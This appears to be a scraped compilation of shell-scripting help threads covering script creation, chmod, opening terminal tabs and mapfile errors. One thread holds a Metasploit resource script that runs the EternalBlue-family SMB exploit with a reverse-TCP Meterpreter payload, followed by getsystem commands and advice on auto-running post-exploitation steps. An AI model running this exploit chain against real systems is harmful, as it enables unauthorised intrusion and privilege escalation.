In fact I have a command line to run in a terminal to launch my Twitch point miner which has a graphical feedback in the terminal to know the number of points retrieved and other things.
But I have no idea how to put it in a .sh script
Here are the commands to execute in the terminal.
virtualenv -p python3 venv
source venv/bin/activate
cd /home/pi/Twitch-Channel-Points-Miner-v2
python run.py
If you can help me on this subject, it would be great.
Thanks
To create a script:
Open the terminal.
Go to a folder where you want to have the script cd /path/to/folder.
Create a new file using vi, nano or any other editor. Put the commands in the file. For example, here I use the echo utility to put 2 echo commands into the my_script file echo -e "echo 'command 1'\necho 'command 2'" > my_script.
Add the execute permission to the file chmod +x my_script.
Execute the script using some shell, for example, bash bash my_script.
See the result:
command 1
command 2
Related
I use two separate shell scripts to run my two server, one is Django and another is npm.
Django Command is: python3 backend/manage.py runserver and npm command is: npm start
I write shell script to run my Django server:
This is my startserver.sh file to run Django server
#!/bin/bash
python3 backend/manage.py runserver $1
and this is my startnode.sh file to run npm server
#!/bin/bash
npm start $1
both are working fine.
I want, when I run ./startserver.sh in terminal, it should run this python3 backend/manage.py runserver command in the current tab of the terminal, in the same time, the script should open another tab in the terminal and run this command: npm start
I mean, in one shell script, I want to run two script in same windows two tab of the terminal.
I will just run ./startserver and it should run above two command in two different tab.
I think this command will be help you.
xterm -e [your_args]
maybe your_args will be startnode.sh
In detail, you can script your startserver.sh
#!/bin/bash
python3 backend/manage.py runserver $1
xterm -e “./startnode.sh”
like this.
[Reference]
Opening new terminal in shell script
Start xterm with different shell and execute commands
Solution 1:
tmux
tmux new-session -d 1.sh \; split-window -h 2.sh \; attach
Solution 2:
gnome terminal
Read : Opening multiple terminal tabs and running command
for i in 1 2; do
options+=($tab -e "bash -c '${cmds[i]} ; bash'" )
done
gnome-terminal "${options[#]}"
Update
Read Terminal Multiplexers
Let's say you have both scripts saved under your home directory called a.sh and b.sh. Then make another script combined.sh with the following
sh ~/a.sh &
sh ~/b.sh
Basically, you're just calling both scripts, but you background the first one to allow continuing execution to the next script.
I want to automate an attack (for some testing purposes) using metasploit in kali linux. Metasploit commands are save in ms17-010.rc file, and the file is called in the script followed by meterpreter commands. I have tried both bash scripting (Attack_script.sh) and python scripting (test.py). The problem is:
After executing the first command "msfconsole -r /root/ms17-010.rc", first metasploit console is opened and execute the commands saved in "ms17-010.rc" file. Then a meterpreter console is obtained on the same terminal, but it does not execute the remaining commands, Which i want to run on Meterpreter. When i exit both meterpreter and msfconsole, then the comands are executed on terminal.
The problem is with both bash and python script. Hope that i am clear. Please help me out.
## Msf RC script: ms17-010.rc ######
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.16
set LPORT 4444
set RHOST 192.168.10.17
exploit
## Bash script: Attack_script.sh ######
#!/bin/bash
msfconsole -r /root/ms17-010.rc
shell
getsystem
## python script: test.py ######
from os import *
system ( 'msfconsole -r /root/ms17-010.rc' )
system("shell")
system("getsystem")
In that ms17-010.rc add one more Line
'set AutoRunScript multi_console_command -r meterpreter.rb'
By this it will execute the commands stored in meterpreter.rb in a meterpreter shell. You need to create a .rb script with commands you want to execute and done
I'm definitely a command line novice. I have recently lost the ability to execute shell scripts using
./script.sh
I am still able to execute shell scripts using:
sh script.sh
My $PATH is as follows:
/Users/goodguy/.pyenv/shims:/Users/goodguy/.rbenv/shims:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/opt/local/bin:/opt/local/sbin:/Users/goodguy/.rvm/bin
I am using MacOS. I'd appreciate any insight into what I may be doing wrong
you can run command chmod 755 script.sh
and then run the script with ./script.sh
I am using mapfile -t to obtain content of a text file and assign it to array.
In Jenkins it works fine where it will prompt steps and what command executed in console output .When I try to run in local console for example putty it prompts.
mapfile: not found [No such file or directory]
I know that mapfile is a bash command is and I am able to run the shell program after typing bash and executing the script.Is there anyway that I don't need to type bash in order to run the program ?I include #!/bin/bash -x on top of the script it still display the same error .The reason I don't want to type bash and execute the script is due to that it did not show what are the errors when the script dies.It did not display the error handling process that was in the script and it did not display output when it runs the command.
Please open a new file called script in a text editor. Type your program in:
#!/bin/bash -x
set -e
item=$1
if [ $item = '-database' ] then
mapfile -t DATA < $DATA_FILES
fi
save the file, execute chmod u+x and then
./script "-database"
to run it.
That's it.
However, that script will print nothing.
I wrote a linux command and it runs perfectly in command line:
/bin/netstat -an | grep '3306' | sed 's/.*/[MYSQLMON]&/' > /home/bbWifiExt/logs/WIFIMonitor.log
however when I copy this code to .sh and run the .sh file i got:
No such file or directory
Can anyone tell me why? Many thanks.
You must either call it as
sh mycommand.sh
or make your shell script executable. Insert #! /bin/sh or #! /bin/bash as the first line and
chmod +x mycommand.sh
before calling
mycommand.sh
for my situation (rename and copied file from windows to linux) the solution was :
dos2unix script.sh
If the first line of the script something like
#!/bin/sh
and the execute bit set i.e.
chmod +x script.sh